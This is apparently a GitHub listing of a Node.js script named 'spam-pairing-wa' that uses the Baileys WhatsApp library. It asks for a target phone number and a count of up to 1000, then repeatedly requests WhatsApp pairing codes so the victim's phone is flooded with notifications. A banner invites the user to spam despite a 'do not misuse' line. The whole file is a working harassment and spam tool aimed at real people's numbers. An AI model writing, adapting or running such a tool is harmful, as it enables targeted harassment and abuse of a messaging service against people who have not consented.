-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathindex.js
83 lines (73 loc) · 2.48 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
const { default: makeWASocket, useMultiFileAuthState } = require("@whiskeysockets/baileys");
const pino = require('pino');
const readline = require("readline");
const color = [
'\x1b[31m',
'\x1b[32m',
'\x1b[33m',
'\x1b[34m',
'\x1b[35m',
'\x1b[36m'
];
const wColor = color[Math.floor(Math.random() * color.length)];
const xColor = '\x1b[0m';
const question = (text) => {
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
return new Promise((resolve) => { rl.question(text, resolve) });
};
async function KleeProject() {
const { state } = await useMultiFileAuthState('./69/session');
const KleeBotInc = makeWASocket({
logger: pino({ level: "silent" }),
printQRInTerminal: false,
auth: state,
connectTimeoutMs: 60000,
defaultQueryTimeoutMs: 0,
keepAliveIntervalMs: 10000,
emitOwnEvents: true,
fireInitQueries: true,
generateHighQualityLinkPreview: true,
syncFullHistory: true,
markOnlineOnConnect: true,
browser: ["Ubuntu", "Chrome", "20.0.04"],
});
try {
// Ask for phone number
const phoneNumber = await question(color + 'Target : ' + xColor);
// Request the desired number of pairing codes
const KleeCodes = parseInt(await question(color + 'Total spam : '+ xColor));
if (isNaN(KleeCodes) || KleeCodes <= 0) {
console.log('example : 20.');
return;
}
// Get and display pairing code
for (let i = 0; i < KleeCodes; i++) {
try {
let code = await KleeBotInc.requestPairingCode(phoneNumber);
code = code?.match(/.{1,4}/g)?.join("-") || code;
console.log(color + `Succes Spam Pairing Code - Number : ${phoneNumber} from : [${i + 1}/${KleeCodes}]`+ xColor);
} catch (error) {
console.error('Error:', error.message);
}
}
} catch (error) {
console.error('error') ;
}
return KleeBotInc;
}
console.log(color + `Running... spam-pairing-wa
=========================
• spam-pairing-wa
• by FlowFalcon
• do not misuse
=========================
┏❐
┃ [ FOLLOW THE INSTRUCTIONS BELOW, TO SPAM ]
┃
┃⭔ Target Number ( 62xxxxxxx )
┃⭔ how much spam ( 1-1000 )
┃
┃ [ THIS TOOL CAN ONLY BE USED ON NUMBER +62 ]
┗❐
=========================` + xColor);
KleeProject();